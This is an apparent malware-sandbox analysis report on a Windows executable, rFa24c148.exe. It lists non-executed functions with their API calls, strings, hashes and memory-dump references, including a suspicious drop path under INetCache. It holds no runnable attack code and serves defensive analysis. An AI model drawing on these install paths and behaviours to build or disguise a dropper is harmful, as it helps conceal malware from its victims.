Instruction ID: ca840a0cce859b8ae2bc82a563140a091be244092cc4fcaf6916384ea8909f5f
Opcode Fuzzy Hash: 6917fec6ffc34fff1feb0dbf9c249be8de4da10d42883fba5183095b7f77083d
Instruction Fuzzy Hash: E6D0C9B7B141409BDB54EBB8AE8989B73A8E7513297204C73D942F20A1D578D8028A3D

Non-executed Functions

Function 0040499D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B5
GetDlgItem.USER32(?,00000408), ref: 004049C0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A0A
LoadBitmapW.USER32(0000006E), ref: 00404A1D
SetWindowLongW.USER32(?,000000FC,00404F95), ref: 00404A36
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A4A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5C
SendMessageW.USER32(?,00001109,00000002), ref: 00404A72
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A7E
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A90
DeleteObject.GDI32(00000000), ref: 00404A93
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404ABE
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ACA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B60
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404B8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B9F
GetWindowLongW.USER32(?,000000F0), ref: 00404BCE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BDC
ShowWindow.USER32(?,00000005), ref: 00404BED
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CEA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D4F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D64
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D88
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DA8
ImageList_Destroy.COMCTL32(?), ref: 00404DBD
GlobalFree.KERNEL32(?), ref: 00404DCD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E46
SendMessageW.USER32(?,00001102,?,?), ref: 00404EEF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404EFE
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1E
ShowWindow.USER32(?,00000000), ref: 00404F6C
GetDlgItem.USER32(?,000003FE), ref: 00404F77
ShowWindow.USER32(00000000), ref: 00404F7E

Strings

, xrefs: 00404F56
N, xrefs: 00404C28
M, xrefs: 00404B47

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 0ffa46e9b13a572b6722491aa1927339d9f69ee42a2e2a1cbbe2628bd448c1d8
Instruction ID: f03e607a396e187e7a88a72d0c11c4872557c7a4ae09ea9be525cead3dabdd13
Opcode Fuzzy Hash: 0ffa46e9b13a572b6722491aa1927339d9f69ee42a2e2a1cbbe2628bd448c1d8
Instruction Fuzzy Hash: A90294B0900209EFEB209F55DD45AAE7BB5FB84314F10817AF610B62E0C7799D52CF58

Function 00404457 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004044A6
SetWindowTextW.USER32(00000000,?), ref: 004044D0
SHBrowseForFolderW.SHELL32(?), ref: 00404581
CoTaskMemFree.OLE32(00000000), ref: 0040458C
lstrcmpiW.KERNEL32(Call,00422698,00000000,?,?), ref: 004045BE
lstrcatW.KERNEL32(?,Call), ref: 004045CA
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004045DC

Part of subcall function 00405537: GetDlgItemTextW.USER32(?,?,00000400,00404613), ref: 0040554A

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\rFa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\rFa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

GetDiskFreeSpaceW.KERNEL32(00420668,?,?,0000040F,?,00420668,00420668,?,00000000,00420668,?,?,000003FB,?), ref: 0040469D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004046B8
SetDlgItemTextW.USER32(00000000,00000400,00420658), ref: 0040473E

Strings

Call, xrefs: 004045B8, 004045BD, 004045C8
A, xrefs: 0040457A
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 004045A7

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$Call
API String ID: 2246997448-2961147510
Opcode ID: f355fcafbdc44a253fd506062086f2951197c42d039416400d982413e2fc1c25
Instruction ID: 0c6fa40730a198f5f3b00d197b033e886b1b3680f215deb67d5ef6a97ab5c625
Opcode Fuzzy Hash: f355fcafbdc44a253fd506062086f2951197c42d039416400d982413e2fc1c25
Instruction Fuzzy Hash: A79163B1900205BBDB11AFA1DC85AAF77B8EF85314F10847BF601B72D1D77C9A418B69

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Program Files (x86)\shaw, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Program Files (x86)\shaw
API String ID: 542301482-209812835
Opcode ID: 9427c6a701c92922babb39cdb8b7d9d670389baac5a1f16205eb8045a6f859ea
Instruction ID: 320da03c4b58a6f492d73c9084ae0adc7b8dbf3defd95da7e5f41f6b65968188
Opcode Fuzzy Hash: 9427c6a701c92922babb39cdb8b7d9d670389baac5a1f16205eb8045a6f859ea
Instruction Fuzzy Hash: 74414E75A00105BFCB00DFA8C988EAE7BB5AF49318B20416AF905EF2D1DA79ED41CB55

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f42fc509a8610e2fd9ee7677f8d81a2a35df7b0b7b325dc4dc1c38febfc0d813
Instruction ID: 81a3354c9c50dc932bc25f9396bfa9246b1e72d43aeb2e6b96ab1eceb958d047
Opcode Fuzzy Hash: f42fc509a8610e2fd9ee7677f8d81a2a35df7b0b7b325dc4dc1c38febfc0d813
Instruction Fuzzy Hash: 4CF05EB1A141149BDB00DFE4DD499EEB378FF04328F20497AE101F31D0D6B459409B2A

Function 00404159 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004041F7
GetDlgItem.USER32(?,000003E8), ref: 0040420B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404228
GetSysColor.USER32(?), ref: 00404239
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404247
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404255
lstrlenW.KERNEL32(?), ref: 0040425A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404267
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040427C
GetDlgItem.USER32(?,0000040A), ref: 004042D5
SendMessageW.USER32(00000000), ref: 004042DC
GetDlgItem.USER32(?,000003E8), ref: 00404307
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040434A
LoadCursorW.USER32(00000000,00007F02), ref: 00404358
SetCursor.USER32(00000000), ref: 0040435B
ShellExecuteW.SHELL32(0000070B,open,@qB,00000000,00000000,00000001), ref: 00404370
LoadCursorW.USER32(00000000,00007F00), ref: 0040437C
SetCursor.USER32(00000000), ref: 0040437F
SendMessageW.USER32(00000111,00000001,00000000), ref: 004043AE
SendMessageW.USER32(00000010,00000000,00000000), ref: 004043C0

Strings

N, xrefs: 004042F5
open, xrefs: 00404368
@qB, xrefs: 00404365

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @qB$N$open
API String ID: 3615053054-1317396031
Opcode ID: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction ID: bf3a58da35b54ffee1731227a2abeb8335aa36a287bc534981c9d3d9286f6950
Opcode Fuzzy Hash: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction Fuzzy Hash: F4718FB1A00209BFDB109F61DD85E6A7B79FB44354F00803AFA01B62D0D778AD61CFA9

Function 00405A95 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D38,NUL,?,00000000,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AA5
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AC9
GetShortPathNameW.KERNEL32(00000000,00425D38,00000400), ref: 00405AD2

Part of subcall function 00405948: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
Part of subcall function 00405948: lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

GetShortPathNameW.KERNEL32(?,00426538,00000400), ref: 00405AEF
wsprintfA.USER32 ref: 00405B0D
GetFileSize.KERNEL32(00000000,00000000,00426538,C0000000,00000004,00426538,?,?,?,?,?), ref: 00405B48
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B57
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B8F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425938,00000000,-0000000A,00409514,00000000,[Rename],00000000,00000000,00000000), ref: 00405BE5
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BF7
GlobalFree.KERNEL32(00000000), ref: 00405BFE
CloseHandle.KERNEL32(00000000), ref: 00405C05

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\rFa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Strings

[Rename], xrefs: 00405B77, 00405B89
8eB, xrefs: 00405AE4
8]B, xrefs: 00405A9A
%ls=%ls, xrefs: 00405B03
NUL, xrefs: 00405A9F

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$8]B$8eB$NUL$[Rename]
API String ID: 1265525490-2949686642
Opcode ID: af31582807115e4b1434e021074788440192fe112e8d2dfb1a91ec7abac6484c
Instruction ID: 0a051ccaee0c074b1a09a4e80aa922ec39551e5d9eafb60cec8afc598b306fa0
Opcode Fuzzy Hash: af31582807115e4b1434e021074788440192fe112e8d2dfb1a91ec7abac6484c
Instruction Fuzzy Hash: BC412671605B14BBE2206B215C49F6B7A6CDF45728F14003AF901F62D2D67CBD018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281A0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
